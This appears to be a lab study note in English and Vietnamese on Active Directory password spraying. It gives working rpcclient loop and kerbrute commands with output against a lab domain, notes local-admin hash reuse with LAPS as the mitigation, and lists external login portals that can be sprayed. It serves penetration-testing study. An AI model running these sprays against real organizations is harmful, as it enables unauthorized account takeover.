Internal Password Spraying

Internal Password Spraying from a Linux Host

Using a Bash one-liner for the Attack

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
$> for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT

Using Kerbrute for the Attack

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1
$> kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

2022/02/17 22:57:12 >  Using KDC(s):
2022/02/17 22:57:12 >  	172.16.5.5:88

2022/02/17 22:57:12 >  [+] VALID LOGIN:	 [email protected]:Welcome1
2022/02/17 22:57:12 >  Done! Tested 57 logins (1 successes) in 0.172 seconds

Using CrackMapExec

Local Administrator Password Reuse

Trong trường hợp attacker đã có NTLM hash hoặc cleartext password của local administrator hoặc bất kì tài khoản có quyền nào cũng có thể được sử dụng trong các trường hợp như các machines trong doanh nghiệp sử dụng một image (.ISO) để deploy tự động cho các máy chủ khác nhau.

Có thể truy xuất được NTLM hash của local administrator trong SAM database. Dưới dây là ví dụ ta thử với cùng 1 tài khoản built-in local administrator ở dạng NT hash thử cho tất cả các host trong internal network. --local-auth để set cho tool chỉ thử 1 lần duy nhất tránh lock account.

Có cách để khắc phục vấn đề này có là sử dụng Local Administrator Password Solution (LAPS) của MS để AD quản lý password của local administrator và đặt password trên mỗi máy khác nhau trong một khoảng thời gian.

Windows

Khi đã có foothold ở một host Windows trong domain, ta có thể sử dụng DomainPasswordSpray.

External

Với đường external có một số surface spray password như:

  • Microsoft 0365

  • Outlook Web Exchange

  • Exchange Web Access

  • Skype for Business

  • Lync Server

  • Microsoft Remote Desktop Services (RDS) Portals

  • Citrix portals using AD authentication

  • VDI implementations using AD authentication such as VMware Horizon

  • VPN portals (Citrix, SonicWall, OpenVPN, Fortinet, etc. that use AD authentication)

  • Custom web applications that use AD authentication

Last updated